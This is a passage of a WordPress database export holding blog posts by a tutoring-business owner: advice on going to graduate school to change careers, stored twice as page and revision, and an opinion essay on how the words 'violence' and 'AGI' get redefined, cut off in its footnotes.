(375,1,'2024-06-12 15:36:45','2024-06-12 15:36:45','<!-- wp:paragraph -->\n<p>In my other job as&nbsp;<a href=\"http://trevorkleetutor.com/\">a guy who runs a graduate exam tutoring business</a>, I field a lot of calls from people who want to go to graduate school. Sometimes, the people I field calls from know exactly what graduate school they want to go to. Sometimes, they don’t, and they’re just looking to go to graduate school to do something totally different than their current path.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For this latter group, I end up being half a tutor, half a career coach. If you are someone who just wants to do something totally different than what you’re doing right now and thinks graduate school is the answer, then I have some advice for you in a handy numbered list.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1.&nbsp;<strong>Figure out what you want to do before you go to graduate school</strong>. I tell literally everyone that, and everyone’s surprised to hear that from the guy who will make money helping you get to graduate school.<br><br>But here’s the basic reason why: there was a time in the US in which you could go to graduate school, mess around and explore, and then graduate and find a good job in your field. That time was 40 years ago. Now, there are way too many graduate schools and not enough jobs that require those graduate degrees.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff18cdac9-fe13-4eb0-83c4-43e1c3c9bb85_2000x1330.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff18cdac9-fe13-4eb0-83c4-43e1c3c9bb85_2000x1330.jpeg\" alt=\"Cat Stuck in a Tree? Here\'s How to Rescue Your Feline Friend | Daily Paws\" title=\"Cat Stuck in a Tree? Here\'s How to Rescue Your Feline Friend | Daily Paws\"/></a><figcaption class=\"wp-element-caption\">Cat: I decided to wait until I climbed the tree to figure out how I wanted to get down.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>So, what should you do instead? My best advice is to explore the spaces immediately around your current field using Reddit. So, for instance, if you are currently in sales, you can just Google “Types of sales Reddit” and then type, for example, “What’s it like to be in enterprise software sales Reddit”. If you’re in banking, you can just Google “Types of banking jobs Reddit” and then type, for example, “What’s it like to be a corporate banker Reddit”.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Key things to look out for when you look at people’s descriptions would be:<br>a) Hours</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>b) Autonomy</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>c) Salary</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>d) Culture (although keep in mind this can change a lot from company to company)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>e) How your performance is judged</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Once you have ideas of what jobs you might be interested in, I’d recommend trying to look at people’s profiles on LinkedIn to see what kind of experience and education people in those jobs have. Do they have MBAs? Did they get entry level jobs?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Sometimes people are really tempted to just do something totally different from what they’re doing now. I hear sometimes from people who are engineers but want to become physician assistants, or are electrical engineers and want to become accountants. I usually advise against that unless there’s a really good reason to. Throwing away all your current experience is a big step, and you should make sure that there isn’t a better job closer to your current field first.<br><br>2.&nbsp;<strong>Either go to an excellent graduate school, or get a scholarship</strong>. This advice is easier said than done, but it is important.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The average MBA student leaves with $66k in debt. The average MD leaves with $200k in debt. The average JD leaves with $118k in debt.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is a lot of money. You will have to pay it back. If you make $100,000 a year with your degree in Massachusetts, you will take home about $6k a month. If you devote $2k of that a month to your debt, it will take you 3-4 years to pay off your MBA. During that time, if you are living on your own ($2k/month rent if you’re lucky), you are going to have only $2k/month for everything else. Do not expect to be buying a house during this time.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The only ways to make this not as bad is to either make a lot of money or not take out so much debt. The best way to make a lot of money is to go to a top graduate school. The best way to not need debt is to get a scholarship.<br><br>It’s worth noting that this rule can get particularly important depending on the type of graduate school you go to and its ranking. Outside of the top 40 or so business schools, most graduates (i.e. people who get their MBA) will not get a job that asks for an MBA. The same goes for graduates outside of the top 100 or so law schools. In 2015, only 63% of law graduates in the US obtained positions as lawyers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The best ways to get scholarships are usually by your academic background and test scores, which is where the services of test prep instructors like myself can actually make economic sense. Identity-based scholarships are harder to come by. You can also get scholarships by working for certain institutions like the military or universities, although those come with their own complications.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3.&nbsp;<strong>Do not get a degree that you are not required to have unless you are absolutely positive it will be helpful.</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You can’t practice architecture if you don’t have a degree in architecture. You can’t practice medicine if you don’t have a medical degree. You can’t practice law if you don’t have a law degree. So, it’s pretty easy for me to recommend to anyone that wants to practice in any of these fields to get these degrees.<br><br>The same is not true of, say, journalism. Most journalists do not have degrees in journalism. For example, Corey Johnson, who won the Pulitzer Prize in 2022 for investigative journalism,&nbsp;<a href=\"https://www.linkedin.com/in/corey-johnson-93a2455/\">just has a Bachelor’s in Psychology from Florida Agricultural and Mechanical University</a>&nbsp;(see how helpful LinkedIn is?). If Corey Johnson doesn’t need a degree in journalism to win a Pulitzer, I would think carefully about why you feel a masters in it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa88600ca-ae9c-42ac-b7b9-df9f6dbc60b6_296x296.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa88600ca-ae9c-42ac-b7b9-df9f6dbc60b6_296x296.jpeg\" alt=\"Corey G. Johnson, Rebecca Woolington and Eli Murray of the Tampa Bay Times  - The Pulitzer Prizes\" title=\"Corey G. Johnson, Rebecca Woolington and Eli Murray of the Tampa Bay Times  - The Pulitzer Prizes\"/></a><figcaption class=\"wp-element-caption\">Look at his meticulously trimmed goatee. Do you think you know something about journalism that this man does not?</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Other dishonorable mentions for useless degrees are degrees in cooking, MFAs, and entrepreneurship. Most of the chefs you admire do not have degrees in cooking. Most of the authors and artists you admire do not have MFAs. Literally none of the entrepreneurs you admire have degrees in entrepreneurship. And, speaking as an entrepreneur, I am very, very skeptical of people with degrees in entrepreneurship.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Half-dishonorable mentions are advanced degrees in the humanities. While it’s true that you need a PhD in English to become a college English professor, it is impossible for literally almost anyone to get a job as a college English professor, as each English professor has 3-4 PhD students, the field isn’t tripling in size every year, and English professors almost never leave their job. Therefore, you’ll be getting a PhD in English to do something other than teach English at a university level, which, again, you do not need to do.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>4. For the most part, don’t expect your graduate school to teach you stuff that’s relevant to your profession after graduate school</strong>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Most graduate schools will not teach you stuff that will be useful to you after graduate school. MFAs, almost all MBAs, and even most PhDs won’t teach you stuff that you can use after graduate school.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This ties into the last point. If you’re not legally required to get these degrees, and they won’t teach you stuff that’s useful after graduate school, you need to think about why exactly you’d be getting them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The schools themselves would like to say something like, “We teach you how to think”, which I think is a cop-out if they don’t have a curriculum devoted to this. Meanwhile, a lot of students just want the chance to be in an academic environment (or, in the case of an MBA, a party environment). I understand the appeal of this, but, again, you are going to be taking out a lot of loans in order to do so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The only things that will make those loans worth it, to me, are signaling value and networks. Biology PhDs, for instance, signal to potential employers that you probably are used to dealing with scientific experiments and the stuff around them. MBAs, on the other hand, can provide great networks for specific companies. This is especially true if you have an undergrad from a not prestigious university, and you want to hang out in spaces that people from prestigious universities hang out (e.g. management consulting).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Once again, the easiest way to see if your degree will actually have signaling or networking value is LinkedIn. If it does, you should see people from the school you want to go to working at the companies that you want to work for. If you don’t see that, that’s a bad sign. To figure out if you will be going to one of the rare graduate programs that will actually teach you relevant stuff, I once again recommend Reddit. People tend to be honest there, if often neurotic.</p>\n<!-- /wp:paragraph -->','My advice about going to grad school to change your career','','publish','closed','closed','','my-advice-about-going-to-grad-school-to-change-your-career','','','2024-06-12 15:36:45','2024-06-12 15:36:45','',0,'https://trevorklee.com/?page_id=375',0,'page','',0),
(376,1,'2024-06-12 15:36:45','2024-06-12 15:36:45','<!-- wp:paragraph -->\n<p>In my other job as&nbsp;<a href=\"http://trevorkleetutor.com/\">a guy who runs a graduate exam tutoring business</a>, I field a lot of calls from people who want to go to graduate school. Sometimes, the people I field calls from know exactly what graduate school they want to go to. Sometimes, they don’t, and they’re just looking to go to graduate school to do something totally different than their current path.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For this latter group, I end up being half a tutor, half a career coach. If you are someone who just wants to do something totally different than what you’re doing right now and thinks graduate school is the answer, then I have some advice for you in a handy numbered list.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1.&nbsp;<strong>Figure out what you want to do before you go to graduate school</strong>. I tell literally everyone that, and everyone’s surprised to hear that from the guy who will make money helping you get to graduate school.<br><br>But here’s the basic reason why: there was a time in the US in which you could go to graduate school, mess around and explore, and then graduate and find a good job in your field. That time was 40 years ago. Now, there are way too many graduate schools and not enough jobs that require those graduate degrees.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff18cdac9-fe13-4eb0-83c4-43e1c3c9bb85_2000x1330.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff18cdac9-fe13-4eb0-83c4-43e1c3c9bb85_2000x1330.jpeg\" alt=\"Cat Stuck in a Tree? Here\'s How to Rescue Your Feline Friend | Daily Paws\" title=\"Cat Stuck in a Tree? Here\'s How to Rescue Your Feline Friend | Daily Paws\"/></a><figcaption class=\"wp-element-caption\">Cat: I decided to wait until I climbed the tree to figure out how I wanted to get down.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>So, what should you do instead? My best advice is to explore the spaces immediately around your current field using Reddit. So, for instance, if you are currently in sales, you can just Google “Types of sales Reddit” and then type, for example, “What’s it like to be in enterprise software sales Reddit”. If you’re in banking, you can just Google “Types of banking jobs Reddit” and then type, for example, “What’s it like to be a corporate banker Reddit”.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Key things to look out for when you look at people’s descriptions would be:<br>a) Hours</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>b) Autonomy</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>c) Salary</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>d) Culture (although keep in mind this can change a lot from company to company)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>e) How your performance is judged</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Once you have ideas of what jobs you might be interested in, I’d recommend trying to look at people’s profiles on LinkedIn to see what kind of experience and education people in those jobs have. Do they have MBAs? Did they get entry level jobs?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Sometimes people are really tempted to just do something totally different from what they’re doing now. I hear sometimes from people who are engineers but want to become physician assistants, or are electrical engineers and want to become accountants. I usually advise against that unless there’s a really good reason to. Throwing away all your current experience is a big step, and you should make sure that there isn’t a better job closer to your current field first.<br><br>2.&nbsp;<strong>Either go to an excellent graduate school, or get a scholarship</strong>. This advice is easier said than done, but it is important.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The average MBA student leaves with $66k in debt. The average MD leaves with $200k in debt. The average JD leaves with $118k in debt.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is a lot of money. You will have to pay it back. If you make $100,000 a year with your degree in Massachusetts, you will take home about $6k a month. If you devote $2k of that a month to your debt, it will take you 3-4 years to pay off your MBA. During that time, if you are living on your own ($2k/month rent if you’re lucky), you are going to have only $2k/month for everything else. Do not expect to be buying a house during this time.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The only ways to make this not as bad is to either make a lot of money or not take out so much debt. The best way to make a lot of money is to go to a top graduate school. The best way to not need debt is to get a scholarship.<br><br>It’s worth noting that this rule can get particularly important depending on the type of graduate school you go to and its ranking. Outside of the top 40 or so business schools, most graduates (i.e. people who get their MBA) will not get a job that asks for an MBA. The same goes for graduates outside of the top 100 or so law schools. In 2015, only 63% of law graduates in the US obtained positions as lawyers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The best ways to get scholarships are usually by your academic background and test scores, which is where the services of test prep instructors like myself can actually make economic sense. Identity-based scholarships are harder to come by. You can also get scholarships by working for certain institutions like the military or universities, although those come with their own complications.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3.&nbsp;<strong>Do not get a degree that you are not required to have unless you are absolutely positive it will be helpful.</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You can’t practice architecture if you don’t have a degree in architecture. You can’t practice medicine if you don’t have a medical degree. You can’t practice law if you don’t have a law degree. So, it’s pretty easy for me to recommend to anyone that wants to practice in any of these fields to get these degrees.<br><br>The same is not true of, say, journalism. Most journalists do not have degrees in journalism. For example, Corey Johnson, who won the Pulitzer Prize in 2022 for investigative journalism,&nbsp;<a href=\"https://www.linkedin.com/in/corey-johnson-93a2455/\">just has a Bachelor’s in Psychology from Florida Agricultural and Mechanical University</a>&nbsp;(see how helpful LinkedIn is?). If Corey Johnson doesn’t need a degree in journalism to win a Pulitzer, I would think carefully about why you feel a masters in it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa88600ca-ae9c-42ac-b7b9-df9f6dbc60b6_296x296.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa88600ca-ae9c-42ac-b7b9-df9f6dbc60b6_296x296.jpeg\" alt=\"Corey G. Johnson, Rebecca Woolington and Eli Murray of the Tampa Bay Times  - The Pulitzer Prizes\" title=\"Corey G. Johnson, Rebecca Woolington and Eli Murray of the Tampa Bay Times  - The Pulitzer Prizes\"/></a><figcaption class=\"wp-element-caption\">Look at his meticulously trimmed goatee. Do you think you know something about journalism that this man does not?</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Other dishonorable mentions for useless degrees are degrees in cooking, MFAs, and entrepreneurship. Most of the chefs you admire do not have degrees in cooking. Most of the authors and artists you admire do not have MFAs. Literally none of the entrepreneurs you admire have degrees in entrepreneurship. And, speaking as an entrepreneur, I am very, very skeptical of people with degrees in entrepreneurship.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Half-dishonorable mentions are advanced degrees in the humanities. While it’s true that you need a PhD in English to become a college English professor, it is impossible for literally almost anyone to get a job as a college English professor, as each English professor has 3-4 PhD students, the field isn’t tripling in size every year, and English professors almost never leave their job. Therefore, you’ll be getting a PhD in English to do something other than teach English at a university level, which, again, you do not need to do.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>4. For the most part, don’t expect your graduate school to teach you stuff that’s relevant to your profession after graduate school</strong>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Most graduate schools will not teach you stuff that will be useful to you after graduate school. MFAs, almost all MBAs, and even most PhDs won’t teach you stuff that you can use after graduate school.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This ties into the last point. If you’re not legally required to get these degrees, and they won’t teach you stuff that’s useful after graduate school, you need to think about why exactly you’d be getting them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The schools themselves would like to say something like, “We teach you how to think”, which I think is a cop-out if they don’t have a curriculum devoted to this. Meanwhile, a lot of students just want the chance to be in an academic environment (or, in the case of an MBA, a party environment). I understand the appeal of this, but, again, you are going to be taking out a lot of loans in order to do so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The only things that will make those loans worth it, to me, are signaling value and networks. Biology PhDs, for instance, signal to potential employers that you probably are used to dealing with scientific experiments and the stuff around them. MBAs, on the other hand, can provide great networks for specific companies. This is especially true if you have an undergrad from a not prestigious university, and you want to hang out in spaces that people from prestigious universities hang out (e.g. management consulting).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Once again, the easiest way to see if your degree will actually have signaling or networking value is LinkedIn. If it does, you should see people from the school you want to go to working at the companies that you want to work for. If you don’t see that, that’s a bad sign. To figure out if you will be going to one of the rare graduate programs that will actually teach you relevant stuff, I once again recommend Reddit. People tend to be honest there, if often neurotic.</p>\n<!-- /wp:paragraph -->','My advice about going to grad school to change your career','','inherit','closed','closed','','375-revision-v1','','','2024-06-12 15:36:45','2024-06-12 15:36:45','',375,'https://trevorklee.com/?p=376',0,'revision','',0),
(377,1,'2024-06-12 15:37:57','2024-06-12 15:37:57','<!-- wp:paragraph -->\n<p>There’s a slogan that I often see at leftist protests: “Silence is violence”. On the face of it, it’s kind of a ridiculous slogan (although very catchy). Silence is not making noise. Violence is causing physical harm to people. The two are obviously not the same.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F563ab19a-2935-4003-85e6-760d6ac6508e_895x507.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F563ab19a-2935-4003-85e6-760d6ac6508e_895x507.png\" alt=\"\"/></a><figcaption class=\"wp-element-caption\">This one was written on a church for easy reading. Thanks, protesters!</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>But, if you ever talk to leftist academics, you’ll realize that there’s a trick you missed. Violence has actually been redefined in leftist academia to include failing to prevent harm, as in the phrase “structural violence”, which can be so broadly defined as to include lack of health insurance for the homeless.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, the trick is that violence was redefined by these academics to mean something else. Your lack of action is, by their definition, violence. A protester can come up to you having an iced coffee at Dunkin Donuts (I’m assuming you live in Boston) and accuse you of being violent, as you are not also protesting in the streets, and that is valid by their definition.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This seems wrong, no? An ordinary person having a Caramel Chocolate Cold Brew&#x2122;, only available for a limited time at Dunkin Donuts, would be quite upset at being accused of being violent. It would probably be enough to put you off of Dunkin’s all new Carrot Cake Muffin&#x2122;, an epic new grab-and-go treat for those with a sweet tooth&nbsp;<a href=\"https://trevorklee.substack.com/p/definitions-have-consequences#footnote-1-105652609\">1</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fedd3d45f-d4cc-4658-95fe-932e50032098_1000x1000.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fedd3d45f-d4cc-4658-95fe-932e50032098_1000x1000.jpeg\" alt=\"I Can\'t Stay At Home I Work At Dunkin Donuts We Fight When Others Cant  Anymore Bigfoot Shirt - T Shirt Classic\" title=\"I Can\'t Stay At Home I Work At Dunkin Donuts We Fight When Others Cant  Anymore Bigfoot Shirt - T Shirt Classic\"/></a><figcaption class=\"wp-element-caption\">I have no idea what this shirt means but I love it.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Academically, though, it’s hard to combat such an accusation. We’re so used to English rapidly changing and evolving that we can’t articulate why it’s problematic to redefine violence to include a lack of action when, well, even problematic wasn’t in our vocabulary until a few years ago. If “drag” can get an extra definition added into the dictionary, then why can’t “violence”?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, this question might seem like a gimme to you. Most of my readers, I imagine, would think, “I would just not allow someone to call me violent in a Dunkin Donuts for simply drinking my incredibly sweet iced coffee instead of joining their protest. I would call them silly.” But I want you to imagine, for a second, that you did feel the need to defend yourself. Maybe you were grabbing coffee with an attractive, left-leaning colleague, and you wanted them to think that you weren’t actually a violent person. How would you defend yourself?<br><br>Well, for me, I would start by questioning why exactly this protester felt the need to say my inaction was “violent”, instead of just that my inaction was “bad”. I’d point out that the protester likely deliberately chose those terms because of the confusion between their definition of violence and the traditional definition of violence, which would make it possible to tar me with a far worse crime than the one I was actually guilty of.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Finally, I would bring in Charles Sanders Peirce’s pragmatical (<em>sic</em>) idea of clarity, in which the deepest level of clarity is understanding the consequences of a definition. So, calling someone violent for not doing something could justify harm against them, as most people would agree that violence should occasionally be met with violence, like in self-defense.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Using this idea of clarity, I’d continue to argue that it is dangerous to confuse terms like this, and it’s much like redefining murder to include jaywalking. If we did that, it’d be easy for a jury to sentence someone to life in prison for murder, and only figure out later that they just didn’t cross at a crosswalk<a href=\"https://trevorklee.substack.com/p/definitions-have-consequences#footnote-2-105652609\">2</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>At this point, the strawman successfully defeated, I assume everyone in this Dunkin Donuts would clap for me, and my attractive left-leaning colleague would reassure me that I’m the coolest guy in the office. But let’s leave that alone for now. I want to discuss another linguistic trick that I’ve noticed: artificial general intelligence, or AGI.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This might seem like a weird segue. But, this has been on my mind recently, because I’ve been seeing a lot of panicked people on Twitter worrying about the rise of AGI. While some of these concerns are valid, I think a lot of them come from how misleading the term AGI itself is.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F86b4be06-6599-4851-b944-e2c06e3712a1_1204x746.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F86b4be06-6599-4851-b944-e2c06e3712a1_1204x746.png\" alt=\"\"/></a><figcaption class=\"wp-element-caption\">Witness, for example, this! People get very panicked about AGI for some reason!</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>The first and biggest problem comes with the “intelligence” part of “artificial general intelligence”. While the term intelligence has always been notoriously difficult to define, it’s always included a sense of purpose. A human being purposefully turning on a light switch demonstrates intelligence, while a cat bumping a light switch and turning it on does not<a href=\"https://trevorklee.substack.com/p/definitions-have-consequences#footnote-3-105652609\">3</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This idea of purpose became blurred with the dawn of computers, as a logic circuit that turns on the lights at a certain level of room dimness is somewhere in between the human and the cat. The developers of this circuit (or at least their marketers) would probably call this an “artificially intelligent lighting system”, and most people would have no problem with that. After all, we generally get what these marketers mean.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, we never resolved the problem that this artificial intelligence isn’t the same sort of intelligence as it was originally defined. It has some kind of intentionality or purpose, but not the same kind as a human. It’s not choosing, but just following rules.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So that’s the first problem with the term “artificial general intelligence”. The second problem comes with the term “general”. In this context, “general” is simply as opposed to “specialized”. So, a general artificial intelligence is one that can do many things, rather than a narrow set of things.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, the problem here is that “general” is too, well, general. To describe something as a general intelligence might mean that it is intelligent with regards to many things, or it might mean that it’s intelligent with regards to everything. Doomerists prefer the latter, because it allows them to make facile arguments like “people have more general intelligence than chimps, and people rule the world. AI will have more general intelligence than people, and then AI will rule the world.”<a href=\"https://trevorklee.substack.com/p/definitions-have-consequences#footnote-4-105652609\">4</a>&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, we get two definitions of AGI that exist simultaneously:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>a) a computer program that can do a lot of different things</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>b) an artificial, sentient being with godlike capabilities</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Our trouble comes from the fact that neither definition of AGI is something we use in our everyday life, so we don’t have the same intuition as when it comes to a word like “violence”. So, if I say, “Wow, it sure seems like ChatGPT can do a lot of things with text,” and you respond “Yes, it feels like soon we’ll see our first real AGI,” I can’t automatically dismiss what you say out of hand.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Because yes, this neat new technology which does a lot of things with text makes me think that soon we will get technologies which can do even more things! However, if I suspect that you are referring to the possibility of an artificial, sentient being with godlike capabilities, I might say: “Do you mean that you expect the creation of software which is purposeful and better than human beings at every possible thing? Something that, if created, could both write a symphony and design a drug better than any human being ever could?”<br><br>In that case, the consequences clarified, I’d tell you that this does not seem likely to happen anytime soon and that, at least in the realm of drug design, we are very far from anything like that. I’d then tell you that you’ve become confused by dual definitions of “intelligence” and “general”. Then, hopefully, you will be able to stop freaking out on Twitter.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/definitions-have-consequences#footnote-anchor-1-105652609\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’m exploring native ads in this newsletter instead of turning on paid subscriptions. These native ads should be unobtrusive and there should be no way of telling that a company paid to sponsor them. I think I succeeded here; you’d never guess this newsletter was sponsored by Starbucks.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/definitions-have-consequences#footnote-anchor-2-105652609\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If I was feeling really spicy, I’d point out that this is, in fact, a tactic law enforcement uses when they describe your local weed dealer as a “drug trafficker” or the owner of a rub-and-tug place as a “sex trafficker”, even if all the masseuses are there voluntarily. These redefinitions of serious crimes to include less serious crimes make for a much better press conference at the small cost of people’s lives and livelihoods.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/definitions-have-consequences#footnote-anchor-3-105652609\">3</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Not to say cats aren’t intelligent, but they’re not demonstrating it in this particular instance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a 